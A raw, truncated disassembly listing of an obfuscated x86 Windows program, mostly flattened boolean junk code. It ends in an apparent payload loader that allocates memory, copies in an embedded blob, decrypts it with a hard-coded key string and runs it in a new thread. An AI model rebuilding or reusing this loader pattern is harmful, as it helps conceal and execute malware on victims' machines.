xor cl, 0
or al, dh
or cl, 0
xor al, 0xff
and al, cl
mov cl, dl
xor cl, 1
and cl, 1
mov dh, dl
xor dh, 1
and dh, 1
or cl, dh
mov dh, bl
xor dh, 0xff
and dh, 1
mov byte [ebp - 0x3c7], al
mov al, dl
xor al, 1
mov byte [ebp - 0x3c8], al
mov al, bl
mov byte [ebp - 0x3c9], cl
mov cl, byte [ebp - 0x3c8]
and al, cl
mov cl, byte [ebp - 0x3c9]
xor cl, 0xff
and cl, 0xff
mov byte [ebp - 0x3ca], al
mov al, byte [ebp - 0x3c9]
mov byte [ebp - 0x3cb], cl
mov cl, byte [ebp - 0x3c8]
and al, cl
mov cl, byte [ebp - 0x3ca]
or dh, cl
mov cl, byte [ebp - 0x3cb]
or cl, al
xor dh, cl
mov al, bl
xor al, 0xff
mov cl, dh
xor cl, al
and cl, dh
mov al, byte [ebp - 0x399]
xor al, 0xff
and al, 1
mov dh, dl
xor dh, 1
mov byte [ebp - 0x3cc], al
mov al, byte [ebp - 0x399]
and al, dh
mov byte [ebp - 0x3cd], al
mov al, dl
xor al, 1
and al, 0xff
and dh, 1
mov byte [ebp - 0x3ce], al
mov al, byte [ebp - 0x3cc]
mov byte [ebp - 0x3cf], cl
mov cl, byte [ebp - 0x3cd]
or al, cl
mov cl, byte [ebp - 0x3ce]
or cl, dh
xor al, cl
mov cl, ch
xor cl, 0xff
and cl, 1
mov dh, dl
xor dh, 1
mov byte [ebp - 0x3d0], al
mov al, ch
and al, dh
or cl, al
mov al, dl
xor al, 1
and al, 1
mov dh, dl
xor dh, 1
and dh, 1
or al, dh
mov dh, byte [ebp - 0x3d0]
and dh, cl
mov byte [ebp - 0x3d1], al
mov al, byte [ebp - 0x3d0]
xor al, cl
or dh, al
mov al, dl
xor al, 1
mov cl, byte [ebp - 0x3d1]
xor cl, 0xff
mov byte [ebp - 0x3d2], al
mov al, dl
xor al, 1
mov byte [ebp - 0x3d3], al
mov al, byte [ebp - 0x3d2]
and al, 0xff
mov byte [ebp - 0x3d4], al
mov al, byte [ebp - 0x3d3]
and al, 1
mov byte [ebp - 0x3d5], al
mov al, cl
and al, 0xff
mov byte [ebp - 0x3d6], al
mov al, byte [ebp - 0x3d1]
mov byte [ebp - 0x3d7], cl
mov cl, byte [ebp - 0x3d3]
and al, cl
mov cl, byte [ebp - 0x3d4]
mov byte [ebp - 0x3d8], al
mov al, byte [ebp - 0x3d5]
or cl, al
mov al, byte [ebp - 0x3d6]
mov byte [ebp - 0x3d9], cl
mov cl, byte [ebp - 0x3d8]
or al, cl
mov cl, byte [ebp - 0x3d9]
xor cl, al
mov al, byte [ebp - 0x3d2]
mov byte [ebp - 0x3da], cl
mov cl, byte [ebp - 0x3d7]
or al, cl
xor al, 0xff
mov cl, byte [ebp - 0x3d3]
or cl, 1
and al, cl
mov cl, byte [ebp - 0x3da]
or cl, al
mov al, dh
xor al, 0xff
and al, 1
mov byte [ebp - 0x3db], al
mov al, dl
xor al, 1
and dh, al
mov al, byte [ebp - 0x3db]
or al, dh
xor cl, 0xff
mov dh, al
xor dh, cl
and dh, al
mov al, bh
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov byte [ebp - 0x3dc], al
mov al, bh
and al, cl
mov cl, byte [ebp - 0x3dc]
or cl, al
mov al, byte [ebp - 0x3c7]
xor al, 0xff
and al, 0
mov byte [ebp - 0x3dd], al
mov al, dl
xor al, 0
mov byte [ebp - 0x3de], al
mov al, byte [ebp - 0x3c7]
mov byte [ebp - 0x3df], cl
mov cl, byte [ebp - 0x3de]
and al, cl
mov cl, dl
xor cl, 1
and cl, 0
mov byte [ebp - 0x3e0], al
mov al, byte [ebp - 0x3de]
and al, 1
mov byte [ebp - 0x3e1], al
mov al, byte [ebp - 0x3dd]
mov byte [ebp - 0x3e2], cl
mov cl, byte [ebp - 0x3e0]
or al, cl
mov cl, byte [ebp - 0x3e2]
mov byte [ebp - 0x3e3], al
mov al, byte [ebp - 0x3e1]
or cl, al
mov al, byte [ebp - 0x3e3]
xor al, cl
mov cl, dl
xor cl, 1
and cl, 1
mov byte [ebp - 0x3e4], al
mov al, dl
xor al, 1
mov byte [ebp - 0x3e5], al
and al, 1
mov byte [ebp - 0x3e6], al
mov al, dl
xor al, 1
and al, 0xff
mov byte [ebp - 0x3e7], al
mov al, byte [ebp - 0x3e5]
and al, 1
mov byte [ebp - 0x3e8], al
mov al, byte [ebp - 0x3e6]
or cl, al
mov al, byte [ebp - 0x3e7]
mov byte [ebp - 0x3e9], cl
mov cl, byte [ebp - 0x3e8]
or al, cl
mov cl, byte [ebp - 0x3e9]
xor cl, al
mov al, byte [ebp - 0x3df]
xor al, 0xff
mov byte [ebp - 0x3ea], al
mov al, dl
xor al, 1
mov byte [ebp - 0x3eb], al
mov al, dl
xor al, 0
mov byte [ebp - 0x3ec], al
mov al, byte [ebp - 0x3ea]
mov byte [ebp - 0x3ed], cl
mov cl, byte [ebp - 0x3eb]
or al, cl
mov cl, byte [ebp - 0x3ec]
or cl, 0
xor al, 0xff
and al, cl
mov cl, byte [ebp - 0x3ed]
xor cl, 0xff
mov byte [ebp - 0x3ee], al
mov al, bh
xor al, cl
and al, bh
mov cl, dl
xor cl, 1
mov bh, byte [ebp - 0x3e4]
xor bh, cl
mov cl, byte [ebp - 0x3e4]
and bh, cl
mov cl, byte [ebp - 0x3c7]
xor cl, 0xff
mov byte [ebp - 0x3ef], al
mov al, byte [ebp - 0x3ed]
xor al, 0xff
mov byte [ebp - 0x3f0], al
mov al, dl
xor al, 1
mov byte [ebp - 0x3f1], al
mov al, byte [ebp - 0x3f0]
or cl, al
mov al, byte [ebp - 0x3f1]
or al, 1
xor cl, 0xff
and cl, al
mov al, byte [ebp - 0x3ee]
xor al, 0xff
mov byte [ebp - 0x3f2], al
mov al, byte [ebp - 0x3ef]
xor al, 0xff
mov byte [ebp - 0x3f3], al
mov al, dl
xor al, 0
mov byte [ebp - 0x3f4], al
mov al, byte [ebp - 0x3f2]
and al, 0
mov byte [ebp - 0x3f5], al
mov al, byte [ebp - 0x3ee]
mov byte [ebp - 0x3f6], cl
mov cl, byte [ebp - 0x3f4]
and al, cl
mov cl, byte [ebp - 0x3f3]
and cl, 0
mov byte [ebp - 0x3f7], al
mov al, byte [ebp - 0x3ef]
mov byte [ebp - 0x3f8], cl
mov cl, byte [ebp - 0x3f4]
and al, cl
mov cl, byte [ebp - 0x3f5]
mov byte [ebp - 0x3f9], al
mov al, byte [ebp - 0x3f7]
or cl, al
mov al, byte [ebp - 0x3f8]
mov byte [ebp - 0x3fa], cl
mov cl, byte [ebp - 0x3f9]
or al, cl
mov cl, byte [ebp - 0x3fa]
xor cl, al
mov al, byte [ebp - 0x3f2]
mov byte [ebp - 0x3fb], cl
mov cl, byte [ebp - 0x3f3]
or al, cl
xor al, 0xff
mov cl, byte [ebp - 0x3f4]
or cl, 0
and al, cl
mov cl, byte [ebp - 0x3fb]
or cl, al
mov al, bh
mov byte [ebp - 0x3fc], cl
mov cl, byte [ebp - 0x3f6]
and al, cl
xor bh, cl
or al, bh
mov bh, byte [ebp - 0x3fc]
xor bh, 0xff
and bh, 0
mov cl, dl
xor cl, 0
mov byte [ebp - 0x3fd], al
mov al, byte [ebp - 0x3fc]
and al, cl
mov byte [ebp - 0x3fe], al
mov al, byte [ebp - 0x3fd]
xor al, 0xff
and al, 0
mov byte [ebp - 0x3ff], al
mov al, byte [ebp - 0x3fd]
and al, cl
mov cl, byte [ebp - 0x3fe]
or bh, cl
mov cl, byte [ebp - 0x3ff]
or cl, al
xor bh, cl
mov al, byte [ebp - 0x3df]
xor al, 0xff
mov cl, byte [ebp - 0x3e4]
xor cl, 0xff
mov byte [ebp - 0x400], al
mov al, dl
xor al, 1
mov byte [ebp - 0x401], al
mov al, byte [ebp - 0x400]
and al, 0xff
mov byte [ebp - 0x402], al
mov al, byte [ebp - 0x3df]
mov byte [ebp - 0x403], cl
mov cl, byte [ebp - 0x401]
and al, cl
mov cl, byte [ebp - 0x403]
and cl, 0xff
mov byte [ebp - 0x404], al
mov al, byte [ebp - 0x3e4]
mov byte [ebp - 0x405], cl
mov cl, byte [ebp - 0x401]
and al, cl
mov cl, byte [ebp - 0x402]
mov byte [ebp - 0x406], al
mov al, byte [ebp - 0x404]
or cl, al
mov al, byte [ebp - 0x405]
mov byte [ebp - 0x407], cl
mov cl, byte [ebp - 0x406]
or al, cl
mov cl, byte [ebp - 0x407]
xor cl, al
mov al, byte [ebp - 0x400]
mov byte [ebp - 0x408], cl
mov cl, byte [ebp - 0x403]
or al, cl
xor al, 0xff
mov cl, byte [ebp - 0x401]
or cl, 1
and al, cl
mov cl, byte [ebp - 0x408]
or cl, al
mov al, cl
xor al, 0xff
and al, 0
mov byte [ebp - 0x409], al
mov al, dl
xor al, 0
and cl, al
mov byte [ebp - 0x40a], al
mov al, dl
xor al, 1
and al, 0
mov byte [ebp - 0x40b], al
mov al, byte [ebp - 0x40a]
and al, 1
mov byte [ebp - 0x40c], al
mov al, byte [ebp - 0x409]
or al, cl
mov cl, byte [ebp - 0x40b]
mov byte [ebp - 0x40d], al
mov al, byte [ebp - 0x40c]
or cl, al
mov al, byte [ebp - 0x40d]
xor al, cl
mov cl, dl
xor cl, 1
mov byte [ebp - 0x40e], al
mov al, byte [ebp - 0x3ed]
xor al, 0xff
mov byte [ebp - 0x40f], al
mov al, dl
xor al, 1
mov byte [ebp - 0x410], al
mov al, cl
and al, 0xff
mov byte [ebp - 0x411], al
mov al, byte [ebp - 0x410]
and al, 1
mov byte [ebp - 0x412], al
mov al, byte [ebp - 0x40f]
and al, 0xff
mov byte [ebp - 0x413], al
mov al, byte [ebp - 0x3ed]
mov byte [ebp - 0x414], cl
mov cl, byte [ebp - 0x410]
and al, cl
mov cl, byte [ebp - 0x411]
mov byte [ebp - 0x415], al
mov al, byte [ebp - 0x412]
or cl, al
mov al, byte [ebp - 0x413]
mov byte [ebp - 0x416], cl
mov cl, byte [ebp - 0x415]
or al, cl
mov cl, byte [ebp - 0x416]
xor cl, al
mov al, byte [ebp - 0x414]
mov byte [ebp - 0x417], cl
mov cl, byte [ebp - 0x40f]
or al, cl
xor al, 0xff
mov cl, byte [ebp - 0x410]
or cl, 1
and al, cl
mov cl, byte [ebp - 0x417]
or cl, al
xor cl, 0xff
mov al, byte [ebp - 0x40e]
xor al, cl
mov cl, byte [ebp - 0x40e]
and al, cl
mov cl, bh
and cl, al
xor bh, al
or cl, bh
mov al, dh
xor al, 0xff
mov bh, byte [ebp - 0x3cf]
xor bh, al
mov al, byte [ebp - 0x3cf]
and bh, al
xor al, 0xff
and al, 1
mov byte [ebp - 0x418], al
mov al, dl
xor al, 1
mov byte [ebp - 0x419], al
mov al, byte [ebp - 0x3cf]
mov byte [ebp - 0x41a], cl
mov cl, byte [ebp - 0x419]
and al, cl
mov cl, dh
xor cl, 0xff
and cl, 0xff
mov byte [ebp - 0x41b], al
mov al, byte [ebp - 0x419]
and dh, al
mov al, byte [ebp - 0x418]
mov byte [ebp - 0x41c], cl
mov cl, byte [ebp - 0x41b]
or al, cl
mov cl, byte [ebp - 0x41c]
or cl, dh
xor al, cl
mov cl, bh
and cl, al
xor bh, al
or cl, bh
mov al, byte [ebp - 0x41a]
xor al, 0xff
and al, 0
mov dh, dl
xor dh, 0
mov bh, byte [ebp - 0x41a]
and bh, dh
mov byte [ebp - 0x41d], al
mov al, dl
xor al, 1
and al, 0
and dh, 1
mov byte [ebp - 0x41e], al
mov al, byte [ebp - 0x41d]
or al, bh
mov bh, byte [ebp - 0x41e]
or bh, dh
xor al, bh
mov dh, cl
xor dh, 0xff
xor al, 0xff
mov bh, dl
xor bh, 1
or dh, al
or bh, 1
xor dh, 0xff
and dh, bh
mov al, cl
xor al, 0xff
and al, 1
mov bh, dl
xor bh, 1
and cl, bh
or al, cl
xor al, 0xff
mov cl, byte [ebp - 0x41a]
xor cl, al
mov al, byte [ebp - 0x41a]
and cl, al
mov bh, dh
and bh, cl
xor dh, cl
or bh, dh
mov cl, ah
xor cl, 0xff
and cl, 1
mov dh, dl
xor dh, 1
mov al, ah
and al, dh
mov byte [ebp - 0x41f], al
mov al, dl
xor al, 1
and al, 0xff
and dh, 1
mov byte [ebp - 0x420], al
mov al, byte [ebp - 0x41f]
or cl, al
mov al, byte [ebp - 0x420]
or al, dh
xor cl, al
mov al, bl
xor al, 0xff
and al, 1
mov dh, dl
xor dh, 1
mov byte [ebp - 0x421], al
mov al, bl
and al, dh
mov dh, byte [ebp - 0x421]
or dh, al
mov al, dl
xor al, 0
and al, 0
mov byte [ebp - 0x422], al
mov al, dl
xor al, 0
mov byte [ebp - 0x423], al
and al, 0
mov byte [ebp - 0x424], al
mov al, dl
xor al, 1
and al, 0
mov byte [ebp - 0x425], al
mov al, byte [ebp - 0x423]
and al, 1
mov byte [ebp - 0x426], al
mov al, byte [ebp - 0x422]
mov byte [ebp - 0x427], cl
mov cl, byte [ebp - 0x424]
or al, cl
mov cl, byte [ebp - 0x425]
mov byte [ebp - 0x428], al
mov al, byte [ebp - 0x426]
or cl, al
mov al, byte [ebp - 0x428]
xor al, cl
mov cl, dl
xor cl, 0
mov byte [ebp - 0x429], al
mov al, byte [ebp - 0x427]
xor al, cl
mov cl, byte [ebp - 0x427]
and al, cl
mov cl, byte [ebp - 0x429]
xor cl, 0xff
mov byte [ebp - 0x42a], al
mov al, ah
xor al, cl
and al, ah
mov cl, dh
xor cl, 0xff
mov ah, dl
xor ah, 0
mov byte [ebp - 0x42b], al
mov al, dl
xor al, 0
or cl, ah
or al, 0
xor cl, 0xff
and cl, al
mov al, byte [ebp - 0x429]
xor al, 0xff
mov ah, bl
xor ah, al
and ah, bl
mov al, byte [ebp - 0x42a]
xor al, 0xff
mov bl, byte [ebp - 0x42b]
xor bl, 0xff
mov byte [ebp - 0x42c], al
mov al, dl
xor al, 0
mov byte [ebp - 0x42d], al
mov al, byte [ebp - 0x42c]
and al, 0
mov byte [ebp - 0x42e], al
mov al, byte [ebp - 0x42a]
mov byte [ebp - 0x42f], cl
mov cl, byte [ebp - 0x42d]
and al, cl
mov cl, bl
and cl, 0
mov byte [ebp - 0x430], al
mov al, byte [ebp - 0x42b]
mov byte [ebp - 0x431], cl
mov cl, byte [ebp - 0x42d]
and al, cl
mov cl, byte [ebp - 0x42e]
mov byte [ebp - 0x432], al
mov al, byte [ebp - 0x430]
or cl, al
mov al, byte [ebp - 0x431]
mov byte [ebp - 0x433], cl
mov cl, byte [ebp - 0x432]
or al, cl
mov cl, byte [ebp - 0x433]
xor cl, al
mov al, byte [ebp - 0x42c]
or al, bl
xor al, 0xff
mov bl, byte [ebp - 0x42d]
or bl, 0
and al, bl
or cl, al
mov al, byte [ebp - 0x42f]
xor al, 0xff
mov bl, ah
xor bl, 0xff
mov byte [ebp - 0x434], al
mov al, dl
xor al, 0
mov byte [ebp - 0x435], al
mov al, byte [ebp - 0x434]
and al, 0
mov byte [ebp - 0x436], al
mov al, byte [ebp - 0x42f]
mov byte [ebp - 0x437], cl
mov cl, byte [ebp - 0x435]
and al, cl
mov cl, bl
and cl, 0
mov byte [ebp - 0x438], al
mov al, byte [ebp - 0x435]
and ah, al
mov al, byte [ebp - 0x436]
mov byte [ebp - 0x439], cl
mov cl, byte [ebp - 0x438]
or al, cl
mov cl, byte [ebp - 0x439]
or cl, ah
xor al, cl
mov cl, byte [ebp - 0x434]
or cl, bl
xor cl, 0xff
mov ah, byte [ebp - 0x435]
or ah, 0
and cl, ah
or al, cl
mov cl, byte [ebp - 0x437]
xor cl, 0xff
mov ah, al
and ah, cl
xor al, 0xff
mov cl, byte [ebp - 0x437]
and cl, al
or ah, cl
mov al, byte [ebp - 0x427]
xor al, 0xff
mov cl, dh
xor cl, 0xff
mov bl, dl
xor bl, 0
mov byte [ebp - 0x43a], al
and al, 0
mov byte [ebp - 0x43b], al
mov al, byte [ebp - 0x427]
and al, bl
mov byte [ebp - 0x43c], al
mov al, cl
and al, 0
and dh, bl
mov byte [ebp - 0x43d], al
mov al, byte [ebp - 0x43b]
mov byte [ebp - 0x43e], cl
mov cl, byte [ebp - 0x43c]
or al, cl
mov cl, byte [ebp - 0x43d]
or cl, dh
xor al, cl
mov cl, byte [ebp - 0x43a]
mov dh, byte [ebp - 0x43e]
or cl, dh
xor cl, 0xff
or bl, 0
and cl, bl
or al, cl
mov cl, al
xor cl, 0xff
and cl, 0
mov bl, dl
xor bl, 0
and al, bl
mov dh, dl
xor dh, 1
and dh, 0
and bl, 1
or cl, al
or dh, bl
xor cl, dh
mov al, dl
xor al, 0
mov dh, byte [ebp - 0x429]
xor dh, 0xff
mov bl, dl
xor bl, 1
mov byte [ebp - 0x43f], al
and al, 0xff
mov byte [ebp - 0x440], al
mov al, bl
and al, 0
mov byte [ebp - 0x441], al
mov al, dh
and al, 0xff
mov byte [ebp - 0x442], al
mov al, byte [ebp - 0x429]
and al, bl
mov byte [ebp - 0x443], al
mov al, byte [ebp - 0x440]
mov byte [ebp - 0x444], cl
mov cl, byte [ebp - 0x441]
or al, cl
mov cl, byte [ebp - 0x442]
mov byte [ebp - 0x445], al
mov al, byte [ebp - 0x443]
or cl, al
mov al, byte [ebp - 0x445]
xor al, cl
mov cl, byte [ebp - 0x43f]
or cl, dh
xor cl, 0xff
or bl, 1
and cl, bl
or al, cl
mov cl, byte [ebp - 0x444]
xor cl, 0xff
xor al, 0xff
mov dh, dl
xor dh, 1
or cl, al
or dh, 1
xor cl, 0xff
and cl, dh
mov al, ah
xor al, 0xff
mov dh, cl
xor dh, 0xff
mov bl, dl
xor bl, 0
mov byte [ebp - 0x446], al
and al, 0
and ah, bl
mov byte [ebp - 0x447], al
mov al, dh
and al, 0
and cl, bl
mov byte [ebp - 0x448], al
mov al, byte [ebp - 0x447]
or al, ah
mov ah, byte [ebp - 0x448]
or ah, cl
xor al, ah
mov cl, byte [ebp - 0x446]
or cl, dh
xor cl, 0xff
or bl, 0
and cl, bl
or al, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
mov dh, al
and dh, ah
or cl, dh
mov ah, dl
xor ah, 1
xor cl, 0xff
mov dh, dl
xor dh, 0
or ah, cl
or dh, 0
xor ah, 0xff
and ah, dh
mov cl, dl
xor cl, 1
and cl, 1
mov dh, dl
xor dh, 1
and dh, 1
or cl, dh
xor al, 0xff
xor cl, 0xff
mov dh, dl
xor dh, 1
or al, cl
or dh, 1
xor al, 0xff
and al, dh
mov cl, ah
and cl, al
xor ah, al
or cl, ah
mov al, dl
xor al, 1
mov ah, ch
xor ah, 0xff
mov dh, dl
xor dh, 0
or al, ah
or dh, 0
xor al, 0xff
and al, dh
mov ah, dl
xor ah, 1
mov dh, ch
and dh, ah
xor ch, 0xff
and ch, 1
or dh, ch
mov ah, al
and ah, dh
xor al, dh
or ah, al
mov al, ah
xor al, 0xff
and al, 1
mov ch, dl
xor ch, 1
and ah, ch
or al, ah
mov ah, cl
xor ah, 0xff
and ah, 1
mov ch, dl
xor ch, 1
mov dh, cl
and dh, ch
mov bl, al
xor bl, 0xff
and bl, 0xff
and al, ch
or ah, dh
or bl, al
xor ah, bl
xor cl, 0xff
mov al, ah
xor al, cl
and al, ah
mov cl, bh
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
mov ch, bh
and ch, ah
or cl, ch
mov ah, al
xor ah, 0xff
and ah, 1
mov ch, dl
xor ch, 1
mov dh, al
and dh, ch
mov bl, dl
xor bl, 1
and bl, 0xff
and ch, 1
or ah, dh
or bl, ch
xor ah, bl
mov ch, dl
xor ch, 0
and ch, 1
mov dh, dl
xor dh, 1
and dh, 0
or ch, dh
mov dh, dl
xor dh, 0
mov bl, cl
xor bl, dh
and bl, cl
mov dh, ch
xor dh, 0xff
mov byte [ebp - 0x449], al
mov al, bh
xor al, dh
and al, bh
mov dh, ah
xor dh, 0xff
mov bh, dl
xor bh, 0
mov byte [ebp - 0x44a], al
mov al, dl
xor al, 0
or dh, bh
or al, 0
xor dh, 0xff
and dh, al
mov al, ch
xor al, 0xff
mov bh, byte [ebp - 0x449]
xor bh, al
mov al, byte [ebp - 0x449]
and bh, al
mov al, bl
xor al, 0xff
mov byte [ebp - 0x44b], al
mov al, byte [ebp - 0x44a]
xor al, 0xff
mov byte [ebp - 0x44c], al
mov al, dl
xor al, 1
mov byte [ebp - 0x44d], al
mov al, byte [ebp - 0x44b]
and al, 0xff
mov byte [ebp - 0x44e], al
mov al, byte [ebp - 0x44d]
and bl, al
mov al, byte [ebp - 0x44c]
and al, 0xff
mov byte [ebp - 0x44f], al
mov al, byte [ebp - 0x44a]
mov byte [ebp - 0x450], cl
mov cl, byte [ebp - 0x44d]
and al, cl
mov cl, byte [ebp - 0x44e]
or cl, bl
mov bl, byte [ebp - 0x44f]
or bl, al
xor cl, bl
mov al, byte [ebp - 0x44b]
mov bl, byte [ebp - 0x44c]
or al, bl
xor al, 0xff
mov bl, byte [ebp - 0x44d]
or bl, 1
and al, bl
or cl, al
mov al, dh
xor al, 0xff
mov bl, bh
xor bl, 0xff
mov byte [ebp - 0x451], al
mov al, dl
xor al, 1
mov byte [ebp - 0x452], al
mov al, byte [ebp - 0x451]
and al, 0xff
mov byte [ebp - 0x453], al
mov al, byte [ebp - 0x452]
and dh, al
mov al, bl
and al, 0xff
mov byte [ebp - 0x454], al
mov al, byte [ebp - 0x452]
and bh, al
mov al, byte [ebp - 0x453]
or al, dh
mov dh, byte [ebp - 0x454]
or dh, bh
xor al, dh
mov dh, byte [ebp - 0x451]
or dh, bl
xor dh, 0xff
mov bl, byte [ebp - 0x452]
or bl, 1
and dh, bl
or al, dh
mov dh, cl
xor dh, 0xff
and dh, 0
mov bl, dl
xor bl, 0
and cl, bl
mov bh, al
xor bh, 0xff
and bh, 0
and al, bl
or dh, cl
or bh, al
xor dh, bh
mov al, byte [ebp - 0x450]
xor al, 0xff
mov cl, ah
xor cl, 0xff
mov bl, dl
xor bl, 0
mov bh, al
and bh, 0
mov byte [ebp - 0x455], al
mov al, byte [ebp - 0x450]
and al, bl
mov byte [ebp - 0x456], al
mov al, cl
and al, 0
and ah, bl
mov byte [ebp - 0x457], al
mov al, byte [ebp - 0x456]
or bh, al
mov al, byte [ebp - 0x457]
or al, ah
xor bh, al
mov al, byte [ebp - 0x455]
or al, cl
xor al, 0xff
or bl, 0
and al, bl
or bh, al
mov al, bh
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
and bh, cl
or al, bh
mov cl, ch
and cl, 0
xor ch, 0
or cl, ch
xor cl, 0xff
mov ah, al
xor ah, cl
and ah, al
mov al, dh
xor al, 0xff
mov cl, ah
xor cl, 0xff
xor dl, 0
mov ch, al
and ch, 0
and dh, dl
mov bl, cl
and bl, 0
and ah, dl
or ch, dh
or bl, ah
xor ch, bl
or al, cl
xor al, 0xff
or dl, 0
and al, dl
or ch, al
test ch, 1
mov esi, dword [ebp - 0x38c]
mov edi, dword [ebp - 0x398]
cmovne esi, edi
mov dword [ebp - 0x28], esi
jmp 0x47044a
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
lea eax, str.Ha73NDsZTIp62LarvPkzxYAaWfd
push eax
mov ecx, esp
push eax
mov edx, esp
sub esp, 4
mov dword [esp], eax
mov dword [ebp - 0x45c], edx
mov dword [ebp - 0x460], ecx
call fcn.004681e0
add esp, 4
xor ecx, ecx
mov edx, 0x2d200
mov esi, 0x3000
mov edi, 4
mov ebx, dword [ebp - 0x460]
mov dword [ebx], eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 0x2d200
mov dword [esp + 8], 0x3000
mov dword [esp + 0xc], 4
mov dword [ebp - 0x464], ecx
mov dword [ebp - 0x468], edx
mov dword [ebp - 0x46c], esi
mov dword [ebp - 0x470], edi
call sub.KERNEL32.dll_VirtualAlloc
mov ecx, dword [ebp - 0x45c]
mov dword [ecx], eax
mov dword [ebp - 0x28], 0x6f9cc646
jmp 0x47044a
mov eax, 0x2d200
lea ecx, str._7zK_
mov edx, dword [ebp - 0x1c]
mov edx, dword [edx]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x2d200
mov dword [ebp - 0x474], eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x20]
mov edx, dword [edx]
sub esp, 4
mov esi, esp
mov dword [esi], edx
mov dword [ebp - 0x478], eax
mov dword [ebp - 0x47c], ecx
call sub.msvcrt.dll_strlen
sub esp, 0xc
mov ecx, dword [ebp - 0x478]
mov dword [esp], ecx
mov ecx, dword [ebp - 0x47c]
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x2d200
mov dword [esp + 0xc], eax
call fcn.00453160
add esp, 0x10
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ecx]
sub esp, 4
mov dword [esp], ecx
mov dword [ebp - 0x480], eax
call fcn.00401460
add esp, 4
mov ecx, dword [ebp - 0x18]
mov dword [ecx], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x28], 0xa8b9ddb7
mov dword [ebp - 0x484], eax
jmp 0x47044a
xor eax, eax
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ecx]
sub esp, 0x18
mov dword [esp], 0
mov dword [esp + 4], 0
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
mov dword [ebp - 0x488], eax
call sub.KERNEL32.dll_CreateThread
mov ecx, 0xffffffff
mov edx, dword [ebp - 0x14]
mov dword [edx], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0xffffffff
mov dword [ebp - 0x48c], ecx
call sub.KERNEL32.dll_WaitForSingleObject
mov dword [ebp - 0x28], 0x59c96fe1
mov dword [ebp - 0x490], eax
jmp 0x47044a
mov dword [ebp - 0x28], 0xeef87098
jmp 0x47044a
mov dword [ebp - 0x28], 0xed5ed257
jmp 0x469722